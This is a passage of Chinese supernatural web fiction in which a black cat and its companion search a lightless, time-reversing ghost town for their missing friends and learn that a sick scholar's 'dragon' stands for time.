她们在一间客舍里。房间陈设古朴,让咪以为自己回到了寐城。 夏双双走到门前,盯着外面的影子。现在有了火,她能够看清外面的人影,说明他们并没有被抹去视力。但是外头人为什么知道她和小咪,语气很熟悉的样子? 犹豫了一下,她打开门。 对面是个年轻的女孩,皮肤惨白,没什么血色,昏黄烛光照在她的脸上,也没添多少暖意。 她的身后也是一片漆黑,唯一的光,在她手里捧着的一盏灯上。碗状灯盏里装着汪黄澄澄的油,油面飘着片小火苗。 “夏姑娘,”少女恭敬低下头,“我来给大人添火。” “添火?狸大人?”夏双双侧过脸,瞥了眼屋里,她并没有借一丝光就能视物的能力,屋子里依旧是黑黢黢的。只是有一点光亮后,那种被黑暗压得喘不过气的窒息感便消失了。 狸大人是小咪吗? 她让开身体,让少女进入房间。少女熟练地走到房屋中间,微微倾斜油灯,火蛇轻轻晃了一下,整间屋子便亮堂起来。 夏双双这才注意到,原来自己住的房间本也有一盏灯。看房间的陈设,这个鬼域似乎是古代背景,她一低头,发现自己也已经换上身轻便布袍,混在一堆古董中也不显得奇怪。 而被他们脱下的现代衣物,有的挂在墙上,有的搭在椅背上。孙菱那件白色外套放在圆桌,上面布满黑毛,显然被某位当成过猫窝。 他们人去哪里了? 夏双双紧皱眉头,快速地扫过四周,却听女孩轻轻叫了一声。 “狸大人!”少女低头,“我没察觉您在这里。” “喵!”小咪礼貌地原谅她,站在桌子上,用小脑袋蹭蹭她冰冷的手。 “你是……”夏双双本想直接问,但话到嘴边又咽回去,换了种更稳妥的问法,“狸大人想问,我们来这几天了?” 狸大人的毛太柔软了,捧灯的女孩很快沉沦在这种美妙的触感中,两只手捧着小猫的脑袋,把它尖尖的耳朵往后抚,上演猫耳朵消失术。她摸着几下小猫,没有血色的惨白脸颊浮现淡淡红晕。 “几天?”女孩回头,“几天是什么意思?” 孙菱心中一咯楞:他们这里不用天来计数? “喵喵喵。”小咪叫了起来。 咪来这里多久了? 女孩:“多久?我也不太记得了。有许多个滴时吧,”她腼腆地笑了一下,“管事姑姑那应记着的。” “喵喵喵。” 你叫什么名字? 夏双双表情微变,紧张地盯着女孩,防备她突然暴起。很明显,她对他们一行人很熟悉,大概率早就告知过她的名字。现在咪咪这样问,很容易让她察觉到端倪。 果然,当小咪问完,女孩停住动作,一张惨白的脸没有表情,定定看着桌上的小猫。 小黑猫歪头,“喵呜?” 它蓬松的尾巴也抖了抖,完成一个问号。 小小的脑袋里有大大的疑惑,它呆呆与女孩对视,见她不说话,又喵喵催促两声。 夏双双屏住呼吸,身体绷紧。 女孩低着头,瘦小的身体,被烛光照出的影子却爬满整面白墙。她与小猫圆圆的眼睛对视,轻叹口气,“狸大人又忘记我啦,我叫小萤。” “喵呜。” 夏双双松了口气。小猫脑袋就只有这样大,记不住东西,也是一件正常的事。 是吧? 至少这个女孩是这样觉得的。 待小萤离开,夏双双来到挂在墙上的衣物前,“他们的衣服在这里,”她伸手在谢临风的包里摸了几下,掏出个小塑封包,对小咪解释:“他会把戏精的粮分好,按时投喂,一包就是一天的量,可以按照剩下鸟粮袋数推断时间。” 把鸟粮放在桌上,夏双双得出结论:“我们在鬼域里度过了至少三天,这里用掉三天的粮。但因为发生某种原因,我们忘记发生过什么事,也和他们走散了。” “喵。” 小咪揣着爪爪,表情严肃。 夏双双:“他们随身携带的东西还在,为什么会消失呢?”她把小猫抱在膝盖上,用力揉了揉它的脸颊,小猫柔软若云的毛是最好的解药良药,在深吸一口猫的味道后,夏双双很快调整好心态,抱着小猫来到窗前。 桌子上的油灯散发温暖的光芒,照亮整间房屋。 屋子里陈设古朴,雕花木窗外,是一片望不到底的漆黑,黑中隐隐闪烁几点光,像是漆黑大海上的灯塔。 “外面是黑夜吗?” 这样黑的夜晚,显然不适合外出,小咪挣脱她的怀抱,跳到窄窄的窗框上。 “喵呜?”小咪歪头。 猫能看到的区域比人更远,它的视线里出现一条街道,和寐城有些相似。但更远处,它就什么都看不见,依旧是一片黑。 小咪想起夏双双科普的知识,心想,那里没有光。 它抬起头,看着天空,过了一会,扭头对着夏双双喵喵叫。 “咪咪,你说什么?” “没有月亮。”小咪的人话也说得顺溜,“天上没有月亮。” 在现实世界,就算月亮被乌云遮住,再漆黑的夜晚,猫也能借着一点微弱的光,将一切都看得清楚。但站在窗户上,它只能借着一点烛火看清长街一角,更远就和人一样望不见了。 小猫只能想到一种可能。 在天空上,没有月亮。 “今晚云是很厚,”夏双双抬头,“是看不见月亮……” “喵喵喵!”夏双双:“你的意思是?天上不存在月亮?” “喵!” “难怪,小萤不知道什么是天,他们这里的计时单位用滴时代替,因为在他们的世界里,没有月亮。” 在古代有叫“滴漏”的计时工具,夏双双想,小萤把时间说成滴时,应该是这里也存在一个类似的计时工具。 四面八方的黑暗将她们紧紧包围。小咪趴在窗户上,耳朵直立,听四方动静。过了不知道多久,暗处次第亮起灯火,响起絮絮人声。 小咪抬头看。 天还是黑的。 “没有月亮,也没有太阳。”夏双双不太确定地说了声,走到桌前,打量着油灯。灯盏不知道是用什么材质制成的,摸着不像金属,碗里那汪淡黄的灯油闪着粼粼的光,好像怎么也烧不完。 她把手伸回,搓了搓手指,有油脂的粘腻感。 小咪跳到灯盏边,出神地看着小火苗,金色的眼睛有团光在闪动,让夏双双想起了阳光下粼粼发光的河流。 小咪抬起脸,在空气中嗅了嗅,扭头跳下桌子。 “咪咪,你去哪里?” 猫跳起来,往前一扑,把门扑开,“喵呜。” 猫要去找自己的铲屎官。 第116章 小咪拱开房门。 外面是条走廊,每隔十来步,便有道窄窄的木门。廊上光线昏暗,透过门缝,淡淡光线水一样淌了出来,漫过小猫的爪爪。它抬起爪爪甩了甩,就好像爪子上沾了水。 “咪咪?”夏双双跟在它后面跑出来, 一跑到走廊,就开始两眼一抹黑。 “喵。”小咪压在她的鞋子上,提醒自己的存在。 一道声音灌入她们耳中,像水滴的声音,在黑暗中漫开,泛起一波又一波的涟漪。不知道是谁在暗处喊了句“点灯”,一点点火光次第亮起,驱散了粘稠的黑。 流水一样的光朝她们流来, 先淹没小黑猫,于是它圆圆的脸蛋便露了出来, 光水渐渐往上升, 漫过夏双双的眼睛, 她打了个激灵,总算恢复了视力,看清四周景象。 她们在一间客栈中, 走廊上的门一扇扇打开, 人们从门里走了出来, 看见小黑猫后, 还会拱手喊声狸大人。 小咪:“喵!” 她们在这里住过一段时间了。 夏双双心里越发确定这个猜测。到底发生什么,让她和小咪失去记忆,与同伴失散? 也许这些和他们接触过的居民们能有答案。但盘问的技巧得委婉一点, 不能让他们发现自己失去记忆。 “喵喵喵!” 在她沉思时,小黑猫已经跑上前,翘起尾巴,拦住一位住客的脚步。它抬起头,喵喵问:“你见过狸的随从吗?” 夏双双:…… 白想这么多了。 “狸大人的随从?”那人弯下腰,摸了摸它的头,笑着说:“不就在你旁边吗?” “不是她喵,是别的随从。” “可是,狸大人只带了这一个随从来的呀。” “咪呜?” 小咪睁大眼睛,低呜一声。它扭头跑回房间,叼出孙菱的外套,白外套在地上擦过,它颠颠地跑过来,问那人,“见过穿这件衣服的随从吗?” 那人依旧摇头。 小咪不死心,接连问了好几个人,得到的是同一个答案。它趴在孙菱的外套,嘴里咬着袖角,鼻腔被熟悉的气味盈满。 咪不明白。 “我们肯定是一起进来的,他们存在的痕迹就留在房间里。”夏双双和小猫想到一起处,宋柏的手套放在凳子上,孙菱外衣随意摆在床上,谢临风外套挂在墙边,口袋里有戏精的鸟粮,闪电的牵引绳也搭在椅背。 “咦。”夏双双皱眉,“他们的东西,都放在特别显眼的位置,故意的吗?” 小咪不死心,还想去问问别人。 夏双双捡起孙菱的外套,在地上拖行后,雪白风衣多了几块灰扑扑的脏痕。她把外衣放回原来位置,对小猫说:“既然问了几个人,都这样说了,应该在这些居民记忆里,我们就只有两个人。再去问也是一样的答案,不如去找找其他线索,这个地方,很奇怪是吧?他们消失的原因,一定也和这里的秘密相关。” “咪。” 小咪坐姿乖巧,认真听她说完,歪头蹭了蹭她的鞋子。 咪去问他们。 它很快意识到一件事,“如果我们早就来过,很多问题都已经问过了。” 夏双双点头,“对,”她揉了揉小猫柔软的脑袋,“小咪这么聪明啦?” 小咪没有说话,尾巴却像弹簧一样,瞬间翘得笔直。 他们前面几天,会尽力摸清鬼域规则,和周围的居民互动。所以如果一旦问起一些过去问过的话题,大概率会暴露自己失忆的事实。 不能让鬼域居民察觉自己的异常。 “喵呜。”小咪主动请缨。猫可以去问人,猫是狸大人,大家都尊敬狸大人。 夏双双点了点头,从小萤的反应来看,大家并不在乎狸大人记性好不好。小猫只用可爱就足够了,谁会在乎它记不记得鬼域的规则? ———— “规矩?”小萤停下擦桌子的动作,回过头,惊讶地看着小咪。 点灯后,世界恢复了光明,烛火幽微的光芒在客栈流动。小咪发现,这里的每一个人面色都很苍白,没有血色,它跳到桌面,把爪爪按在女孩的手背上,与小猫漆黑的山竹爪对比,小萤的手白得像一块凝固的蜡。 热烘烘的小爪子搭着手背,小萤马上把干活的事抛之脑后,捏住它的肉垫,说:“之前狸大人的随从也来问过,没告诉大人吗?我们这是没什么规矩的,一滴时的时候起床,二三滴时的时候吃饭,四滴时的时候睡觉,就这样简单。” “喵呜。” 猫谢谢你嗷。 小咪蹭蹭她的手,“滴时是刚刚的声音吗?” “是呀。狸大人连这个都不记得了?” 小咪想了想,转了个身,摊开自己的肚皮。小猫柔软的肚子能让人瞬间忘记理智,小萤一边揉着它的肚皮,一边说:“一滴时有一声,二滴时是两声,听见两声时,我会将餐食送到狸大人的房间,至于第四声响起,灯会灭掉,狸大人一定要提前回到客栈,回房睡觉。” “喵呜?” 如果没能及时回来呢? 会死掉吗? 小萤想了想,“应该不会死吧,但是……”她压低声音,“老板不让说的,很晦气。” “咪呜。”小咪的声音夹了起来。 小萤见附近没什么人,小声说:“东街有个醉汉,喝醉了,没及时在灭灯前回到家,结果第二天就疯了,说一些乱七八糟的话,没过多久就缢死啦。但凡走过夜路的,不是死掉,就是疯掉,没一个有好下场的!” 夏双双心想,听女孩的话,四滴时没及时回宿舍不会马上触发死亡规则,更像是黑暗中有什么恐怖的存在,能把人吓死或者吓疯。 疯掉的人那里也许有线索。 “喵喵喵。” 小猫像是知道她心里想什么,问:“你认识那些疯了的人吗?”小萤:“疯子活不了多久的,发疯没几天,就会想方设法自尽,”她揉着小咪的肉垫,喃喃:“只有一个疯书生,疯疯癫癫挺久了,有的时候,还能听见他在怪叫,挺渗人的。” ———— 疯书生住在一条小巷里。 客栈外依旧有微弱的光,夏双双找不到光源所在,也不太习惯这样昏暗的光线,警惕地左右张望,一分神就会弄丢小猫的身影。 但只要一喊“咪咪”,前方昏暗里就会响起小猫喵喵的叫声。有的时候是在路边的院墙上,有的时候就在她的脚边。 小咪对这种昏暗的环境适应良好,跳到墙上,和夏双双一起走,“喵呜。” 铲屎官是不是在黑暗里走丢了? 如果走丢了,为什么大家都说没见过他们? 夏双双:“有可能是因为我们并非原住民,没在四滴时赶回去,就会从人们记忆里抹去。”正说着,远处又响起了滴声,这次响了两声,在路上行走的人们走入了食铺居舍里,“这么快就到吃饭的时候了?” 夏双双心中觉得不太对,但没有钟表,也无从判断时间,“小萤没有特意强调,四滴时前我们能在客栈外自由活动,应该没必要回去吃饭。” “喵呜。” 来到了书生的门口,小咪轻轻叫了声。 听出小猫声音里的焦躁不安,夏双双蹲下来,摸了摸它的小脑袋,“别担心,咪咪,不会有什么事的。” 小咪蹭蹭她的手指,“喵呜。” 别担心,人类。 咪保护你! “是你们来了吗?咳咳……” 屋里传来沙哑声音。 小咪从门缝里钻了进去,房间里没有点灯,比外面街道还要昏暗。但猫借外面零星的光,能看清说话那人的模样。 他是个病弱的年轻男人,面孔惨白如纸,笼着层阴郁的青气。他缩在稻草铺的床上,不住咳嗽,“咳咳……” “喵。” 小咪跑到他的脚边,抬起头,金色的眼睛一眨不眨地望着他。 “狸大人,”病弱清癯的书生伸出手,小咪熟练地跳到他的腿上,任由那只骨节分明的冰凉大手抚摸过它的头顶,“你们还没走吗?” “你怎么不点灯?”夏双双问。 在一滴时后,家家户户都点了灯,只有书生家里没有光亮。 “我不怕它了。”书生露出恍惚微笑,脸白得吓人。 “喵?” 怕谁? “龙,那条龙。” “龙?!”夏双双讶然,“黑暗里的是一条龙?那个把你吓疯的东西,是龙?” 书生忽然直起上半身,眼睛发亮,“我没有疯!” 小咪被他吓了一跳,弹跳飞起,尾巴炸开毛,朝着他不满叫囔。 “咳咳……”书生重重咳嗽,咳得直不起腰,“狸大人,你知道我没有疯啊,我们一起杀了它,杀了那条龙!” “喵?”小咪歪头。 杀了,那条龙? 猫忘记之前的事情,是因为杀了那条龙的关系吗? “一切都要结束了。”书生渐渐平静,朝着它露出个很淡的笑容,“龙已经被我们杀了。” “我们一起,杀了那条龙?” 夏双双看着他,书生弱不禁风,骨瘦如柴,看起来也没有任何神通。她怎么都不能把这个病秧子,和屠龙二字联系在一起。 书生唇角染上他咳出的殷红,显得有些诡艳,他微微侧过头,像是听到什么,睁大双眼,“你们听见了吗?你们听见了吗?” “听见……什么?” 书生却不回答,抬着头,怔怔看着屋顶。小咪跟着抬起头,除了一片茅草铺成的屋顶,什么都没看见。 “你们看!” 夏双双心中悚然,站在门口,缓声问:“看什么?” “有个人在那里,”书生喃喃:“他要接我去白玉京,天上白玉京啊……” 他身体一震,突然吐出一口血,摔倒在床。 当小咪跳过去时,他的胸膛已经不再起伏。 第117章 “我们杀死了一条龙?”夏双双喃喃。 小咪跳到书生胸口,用爪爪拍着他的脸颊,想把人给叫起来,“喵喵喵?” 小猫杀死了一条龙? 它也很茫然。 夏双双还在书生家里翻找线索,门突然就被推开,一个妇人走进来,愣愣看着眼前景象。 夏双双没来及阻止, 她就跑出屋外,大喊:“死人啦,死人啦!” 很快,一人一猫就被人包围了。 小猫挡在夏双双面前,伏低身体,低呜警告。 夏双双:“咪咪,你先走吧!你这样小,他们抓不到你。” “喵呜。”小咪摇了摇尾巴。 猫有自己的道理。 在人们眼里,夏双双是自己的随从,如果夏双双被抓,狸大人也会被牵连。它就算在这里逃走了,以后还是会被抓,四滴时后也无客栈可以住,被迫要藏在黑暗中。 小萤提醒过他们,四滴时前就要赶回客栈。 所以猫不能逃。 夏双双也马上想明白这点,惊叹小猫的聪明,她对着来人点头,示意:“我们并没有杀他,他病重,自己吐血身亡了。” 书生本来就是个病秧子,那些人似乎相信她的说法, 但也没放她们离开。僵持不下时,滴时已到第三声,夏双双提醒他们:“马上就要到灭灯的时候了。” 这里的居民也要遵守四滴时回家的规则。 人群分开,一个少女提灯走来,“巫女大人想见你们。” “喵。”小咪跳到人类的肩头,尾巴卷住她的脖子。 带路。 巫女大人在这片鬼域里有一定地位,也许和寐城城主一样,是人类中的老大。小咪在人类里混了这么久,这个是能想通的,但猫晃了晃小脑袋,始终想不明白书生临死前说的话。 他说猫杀了一条龙? 龙,小咪是见过的。在爷爷的日历上,就有一条龙。猫的认知里,龙是一种和蛇很像的长条形生物,但又和蛇不一样。有的时候,猫听见人在说自己是龙的传人,猫仔细观察,也没在他们身上看见麟甲和爪子,猫想,龙对人有更加特殊的意义。 它舔了舔爪子,想从肉垫里残留的气味来寻找那条死去的龙的气息,但是闻了半天,什么都没闻见。 小咪陷入疑惑:它真的杀死了一条龙吗? 夏双双带着同样的疑惑,走入了巫女的住所。 “巫女大人住在此处,”带路的人把灯递给她们,“进去吧。” 踏入门中,她们就被一片无边的黑暗包围,只有手里一盏铜灯,散发微弱光芒。小咪只能看见几米左右,更远就看不见了。 “你们来了。”巫女的声音从更深的黑暗里传来。 小咪“喵呜”一声回应,从夏双双身上跳了下去,蹬蹬往前跑几步。 “他对你们说了什么?”巫女问。 小咪看不见她,但听她声音温柔,毫无恶意,就大声回:“喵呜。” 他说我们杀了一条龙。 巫女:“你们杀死了龙,这次发现什么不同了吗?” “喵?” 小咪和夏双双同时捕捉到一个词,“这次?” 巫女轻轻叹口气,“看来是他是在骗你们,你们没有杀死那条龙。果然,人是杀不死它的。” “喵喵喵!” 小咪急得大叫:“我们以前来过吗?你见过猫的人类吗?” 巫女转过身,声音幽然,“快到四滴时了,早点回去吧。” ———— “喵喵!” 小咪在夏双双的耳畔大声叫。 夏双双安抚地摸摸它湿润的小鼻头,“你说得对,巫女肯定知道什么,却不愿意和我们分享。也许,我们要真正杀死那条龙,她的态度才会松动?” “喵呜。” “但是,书生已经死了,我们又失忆,连龙的踪影都找不到,该怎么找到它?” 回到客栈后,趁着四滴时还没到,小咪和夏双双找到了小萤。 “什么传说?”小萤摇头,“我们这没有什么传说。” “喵呜?”小咪心里担心铲屎官,不和她委婉了,直接问:你听说过龙吗? 小萤:“龙?我知道的,那个书生疯了后,老是说有一条恶龙,在杀死所有的人,他还经常发癫,囔囔要去屠龙。但是,”她摊开双手,“龙是虚无缥缈的东西,我们都没看见过,我想,他应该是疯了在说胡话吧。” “哎,快四滴时了,快回去!” ———— 小咪趴在夏双双的胸口。 猫并不重,身体娇软,夏双双轻抚怀中那团滚热的毛茸茸,肉垫带着糯米香轻轻点在她的皮肤上,小爪子热烘烘的。她感受着小猫的呼吸起伏,喃喃:“今天找到的线索很奇怪。” “喵呜。”小咪耳朵抖了抖,问人类:龙是什么? 夏双双:“是一种传说中的神话生物。”她凝望屋里的黑,“龙的身形巨大,如果是有龙或者类似的生物在作祟,至少应该有人能看见它。也可能它藏在黑暗里……” “喵呜。”小猫的三瓣嘴嗫嚅一下,问:很大是多大? 是大龙把天遮住了,才让天变得这样黑吗? 小猫的话让夏双双突然直起了身体,愣愣道:“是它?” “喵?” 夏双双抓住小猫的爪子,给它补习功课,“一般来说,就算再巨大的龙,也遮不住天空的。但是在古代神话里,有一条龙,能够让天陷入黑暗。” “喵喵。”小猫催促,快点说,猫只是猫,不懂人类的神话。 夏双双微笑着摸摸它的头,“烛龙。” 烛龙,人面蛇身,眼睛竖长,其瞑乃晦,其视乃明,不食不寝不息,风雨是谒。 天亮是烛龙睁开眼睛,天黑是烛龙闭上眼睛。 而眼前这片小城,永远陷入黑暗中,或许是因为烛龙的缘故。 书生想要杀的龙,就是烛龙,他觉得杀死龙后,世界就会恢复正常。 会吗? “喵呜?”小咪歪头,问:如果是烛龙在睡觉,闭上眼睛,那把它叫醒来就行了,为什么要杀了它呢? 猫不明白。 夏双双苦笑:“可惜我们都失忆了。” “喵!”小猫伏低身体,金色的眼睛瞪圆,安抚人类:没关系,猫半岁就会抓大蛇了,猫一点都不怕大蛇,猫会扑过去,一巴掌拍晕它,再咬断它的喉咙。 夏双双忍不住仰起嘴角,“咪咪真厉害。” 人类干燥温热的手有一下没一下地抚过小咪的头顶,它趴着,嘴里咬着孙菱的外套,两只前爪在空气里踩奶,踩了几下,外面传来四道柔和而响亮的滴声,一阵困意席卷进猫的脑海。 小咪打了个哈欠,蹭蹭人类的下巴,闭上眼睛。 第二天醒来,照旧是小萤来给她们点灯。 “喵呜。”小咪跳到桌子上,亲昵地蹭蹭她的手。 “哎,狸大人。”小萤受宠若惊的模样,眨巴眨巴眼睛,问:“狸大人,我可以摸摸你吗?” “咪。”小咪慷慨地摊开了肚皮,心想,昨天不是摸过了吗? 小萤五指陷入猫柔软的肚子上,享受地说:“狸大人的肚子好软哦,我从来没有摸过这样软的肚子。” 小咪开始在桌上打滚,眯起眼睛。 点完灯后,柔和的烛光在房间里漫开,小咪在翻来翻去时,注意到什么,转动脑袋。 “喵?” 它弹跳到床上,低头看着白色的外套,用爪子扒拉两下,对着夏双双叫起来。 人看! 昨天在地上弄的污渍不见了。 夏双双皱起眉,昨天小咪咬着外套去问客人时,白外套在地上摩擦一路,留下明显的污渍灰痕。但是现在,外套上的污渍已经消失不见,恢复如初。 “喵呜?”小咪问女孩:是你洗了猫的衣服吗? 小萤连忙说:“没,我没,我不会动客人的东西。” 小咪坐在自己的尾巴上,茫然地瞪圆眼睛,它又注意到一些不同寻常的地方。昨天被夏双双拿出来,放在桌子上的鸟粮包不见了,夏双双走到谢临风的包里,摸了摸,发现鸟粮又重新回到包里,撕开的包装也恢复了。 她扭过头,喊住要离开的小萤,“昨天我们问了你什么?” 小萤瞪大眼睛,想了一会,“没有,我不记得有问什么。” 夏双双表情奇怪,看着桌上的小猫。 小咪歪头,尾巴甩了两下。 等小萤离开,夏双双压低声音,说:“咪咪,我在想,也许我们不是失忆了。” “喵?” “我们的时间在倒流,昨天是我们进来的第一天,也是最后一天,是起点,也是终点。” 小咪用自己并不大的脑容量思考这句话的意思,想不太明白,但它知道一件事,“喵!” 书生还活着! 夏双双:“对,他还活着,我们可以一起和他屠那条龙。” 一条存在于他的过去,她们的未来的龙。 第118章 小咪歪头, 思索时间这个概念,还没想清楚,就被夏双双捞住肚子, 一把抱起来。 夏双双飞快地往外面跑,刚跑出客栈,她就被一股巨大的冷意包围。 一滴时响起, 但外面还没开始点灯,天地黯淡无光。 夏双双抱紧小猫,手里出现一把金色戒尺,启用了能力。 黑暗里响起脚步声。 小咪趴在人的肩膀上,耳朵抖动,听见急促脚步声从身边穿过。它飞快扭过头,旁边什么都看不见。 “喵呜?” “咪咪!” 是孙菱的声音! 小咪瞪圆眼睛,从夏双双怀里挣脱, “喵呜!” “咪咪,怎么了?” 小咪跳到孙菱说话的东西,脑袋往前伸,嗅着空气里的气味。味道很淡,稍纵即逝,可它还是闻见了,是属于铲屎官的气味。 孙菱刚刚就站在这里。 “喵呜——” 猫呼唤同伴的声音与平常的喵呜叫不同。它的声音拖得很长, 听上去更像嗷呜, 就算人听不懂猫语, 也能感受到小猫呼唤中的焦急。 “喵呜——” 人, 在哪里? 小咪四处张望。 “点灯啦。”谁喊了一声,一盏灯笼从窗户垂下,朦胧的光散开,照亮了猫眼中的世界。 它再也看不到孙菱,连刚才那点微弱的气息也无影无踪了。 小咪不死心,在地上仔细嗅来嗅去,直到二滴时响,才不情不愿地跟着夏双双赶去书生家里。 “你听见阿菱的声音?”夏双双皱眉,“难道他们迷失在黑暗里了?” “喵!”小咪甩了甩尾巴。 猫想要找到他们。 夏双双点头,“小萤说,四滴时必须赶回客栈,他们是没有及时回到客栈吗?”她紧蹙起眉,随即又松了口气,喃喃低语:“至少,他们应该都还活着。” 赶到书生家中,刚到门口,就闻见一股浓烈的酒气。 夏双双试着推了推,无果,一个高抬腿踹开门,“哐当”一声响。 邻居大娘探出个脑袋,表情古怪地看着她们。 夏双双心里嚯了声,顿时了然,为什么昨天书生去世后,邻居出现得这么快。原来在今天的时候,她们弄出这么大动静,引起邻居的注意。 准确来说,是她们今天的举动,会造成“明天”的结果。 小猫飞扑进门,大声叫:“喵啊——” 书生倒在床上,睡得人事不知。今日屋里依旧没有点灯,但他凿壁偷光,在单薄墙壁上,一缕烛光斜斜照进来,照在书生惨白的面孔上。 小咪跳到床边,歪头看着他,用爪爪拍他的脸。它很克制,没有伸出指甲,肉垫轻拍他没多少肉的青白脸颊,提供猫猫叫醒服务,“喵——” 人,快起床! 每次它这样拍室友脸颊时,赵佳怡都会磨磨蹭蹭地把脸藏进被子里,呢喃着:“让我再眯一会,就一小会。” 直到睡过头哀嚎着从床上弹起。 但无论小咪怎么拍脸,书生一点反应也没有。 夏双双适应了屋里的黑暗,走到床边,在昏暗光线中,那张脸白得触目惊心。 联想到昨天他暴毙,夏双双不敢太用力,轻推一下他的肩膀,“醒醒?” 小咪突然跳到他的胸口,“喵!” 夏双双吓得忙把它抱起来,“咪咪,你别压死他了,这个人太虚了。” “喵——” 他明天才会死,今天不会死。 夏双双松开双手,猫又掉到书生的胸口。她一拍脑门,自己下意识按时间是前进的方向思考,忽视她们正在经历时间倒流的事实。 今天是无法影响到明天的。 明天的人,今天也不会经历死亡。 但是…… 如果她们从最后一天开始经历时间倒流,是否意味着,结局已定,无论如何她们也杀不死那条龙呢? 夏双双压住心中繁杂的思绪,去看书生。 小黑猫趴在书生胸口,继续努力用肉垫拍他的脸,见怎么都拍不醒,它围绕书生的脑袋转了一圈,收起指甲,用爪爪去扒拉书生紧闭的眼皮。 眼皮微微颤了颤。 “喵!” 猫超大声地叫。 人,不要装睡。 书生用袖子遮住脸,“哎,狸大人,让小生睡一会,再让小生睡一会。” “喵?” 你怎么知道是咪! 书生坐了起来,一张苍白的脸困倦,打了个哈欠,伸了伸懒腰,还没张口说话,就被夏双双按住了衣领。 夏双双:“告诉我,那条龙在哪里。” 她不介意使用一点暴力手段。 书生摇摇晃晃地站起来,走到桌子前,仰头喝下一大口酒,“龙?哈哈,”他笑了几声又开始剧烈咳嗦,咳得上气不接下气,“龙在天上啊,你来找我做什么?” 夏双双:“你昨天还说——” 不对,屠龙是他明天会说的。 他会产生屠龙的想法,不会是她们今天的举动造成的吧。 她深呼吸一口气,拉了条破烂的椅子坐下来,椅子嘎吱发生不胜负荷的响声。她一双眼睛打量着书生,问:“你知道龙吗?” “我当然知道,龙为鳞虫之长,能大能小,能升能隐;大则兴云吐雾,小则隐介藏形……” “喵!” 小咪听得脑袋都大了,跳到夏双双腿上,严肃地对书生叫。 叽里呱啦说什么呢? 猫听不懂。 “我们问的不是这种龙,”夏双双叹口气,“是造成城中异象的龙,为什么这里……”她纠结了下,想到“明天”书生对她们不算差的态度,说:“永远沉在黑夜里,长夜难明?” 书生陷入沉默,在逼仄房间转了几圈,突然来到墙壁孔洞前,拿稻草把洞塞住。 喵? 难怪昨天他的房间这么暗。 小咪也开始明白“昨天”就是“明天”的意思了。 房屋陷入黑暗中。 过了会,书生鬼气森森的声音从角落传来,“你们看见它了吗?” “喵?” 小咪歪头。 夏双双皱眉,“什么?” 书生嘶哑地笑了起来,“黑暗里,有东西。” 小咪:“喵!” 人,不要说谜语。 突然有只冰冷的手从小猫的头顶摸过,指尖擦着它的脊椎,它的尾巴炸开,跳到桌子上,“喵呜。” 它抬头一看,却什么都看不见。 夏双双身体僵硬,肩膀传来阴冷触感,就像什么东西,抵在她的肩上。 书生嘻嘻笑了声,“这里以前吊死过一个女人,就在你头顶。” 夏双双拿起戒尺,往上面一划,戒尺破空划过,却没触碰到什么,但她肩头隐隐作痛,提醒她刚才并非错觉。 她把小咪抱起,跑到门口,警惕地盯着屋内。 “咪咪,我想到一件事。”她压低声音,耳语道:“如果他产生屠龙的想法,是因为我们今天行为导致,那么他屠龙的时间,就在今天和明天之中,很有可能是今晚的四滴时后。” “喵!” “但四滴时后,我们要回客栈。”夏双双烦躁地抓了抓头发,“黑暗里藏着鬼,如果一直在黑暗里,肯定会和它们对上,而且,我的能力对它们没有用。” “喵!”小咪想到什么,歪着头,“喵?” 夏双双点头,“客栈有灯。” 在一滴时的时候,小萤会进入房间,为它们点亮一盏灯。 光明,意味着安全。取走灯后,她们说不定就能在四滴时之后行动。 “我去拿。”夏双双问:“咪咪,你和我一起吗?” 小咪歪歪头,“喵呜。” 猫在这里守着人。 夏双双点头,“等我一下,我马上就回来。” “喵!” “房间里可能有危险,先别进去。” 小咪跳到了窗台上,目光炯炯,监视着书生。书生提着杯酒,回到床上,脊骨凸起的后背靠在土墙上,“狸大人。” “喵呜?” “你是怎么当上大人的呀。” 小咪认真想了想,“喵——” 猫是靠画画当上狸大人的,猫画了一副让娘娘喜欢的画。 它把爪爪按在窗沿上,肉垫印出梅花爪印,软声叫:“喵呜。” 猫会这样画画,猫画画很久了。 书生苦笑:“我也读了很久的书,很多年啊,日夜苦读,鬓生白发。” 小咪歪头,“喵?” 那你成为大人了吗? 书生沉默好一会,才嘶哑着声音,说:“我没有变成大人,现在还是个小人,咳咳咳……”他捂住胸口,剧烈地咳嗦起来,咳得几乎把心都呕出来。 小咪担心地喵喵叫了几声,探出小脑袋,轻蹭书生冰冷的皮肤。 他叹口气,摸摸小猫的脑袋,“我还有一腔壮志未酬,怎么就要病死了呢?” 小咪低头,用力拱他的手。 “何止是我一个人要死呢,”他喃喃自语,“众生多苦难,就算是以前的帝皇也要衰老,也要死亡,狸大人,你这个小脑袋啊,能明白这些吗?” 小咪:“喵呜——” 猫当然知道! 每个人都在老,每个人都在死去,猫也正在老,猫也正在死。 “每个人都在老去,每个人都在死去,”书生重复小猫的话,猛地站了起来,喃喃:“我要去杀一条龙。” “喵呜?”小咪歪头看他。 龙在哪里? “它就在这里,在我们身边,无时无刻,无处不在,狸大人,”书生的脸突然凑近,“狸大人,你看不见它吗?” 小咪瞪圆眼睛,视线被书生那张兴奋诡谲的面孔填满。 他的面孔苍白无比,一双眼睛闪着激动的光,瘦削脸上肌肉无意识抽动,“你看不见它吗?” 小咪什么都没有看见。 在它和书生交谈前,书生还没有斩龙的念头,小咪抬起后爪挠了挠耳朵,又用力摇晃小脑袋,回忆刚才什么话让他产生了屠龙的灵感。 猫想不通! 它抬起脸,对上书生的眼睛,突然愣住了,一大波碎片画面飞快从瞳孔里浮过,就像碎冰在水里浮浮沉沉,很多画面碎片晃了过去。 在书生的眼里,它看见很多东西。 一个脖子长长的妇人,一个屁股漏风的小孩,一个无头人,一个半截人。 活的人,死的人,大的人,小的人。 密密麻麻的人影从这双眼睛里闪过,小咪甚至看见了踹开门的夏双双,看见一堆人围住它和夏双双。 这是昨天,也是“明天”会发生的景象。 它瞪圆眼睛。 小咪也看见了自己——两只爪爪压在肚子下,认真警戒的小黑猫;后爪抬起挠耳朵的小猫;瞪圆金色眼睛,歪着头的小猫;一跃而起,跳入窗洞里的小猫。 在书生的眼里,无数画面浮光掠影般闪过,是过去、是现在、也是未来。 时间就这样交织在了一起,过去、现在、未来在飞快地流动着,像一条永不停息的河流。这一瞬,像是刹那,就像是永恒。 小咪好像也看见了一条龙。 它存在于过去,存在于现在,存在于将来。或许人类所谓的过去、现在、将来,本就是依附它而存在,是为了认识它才创造。 它就是时间。 第119章 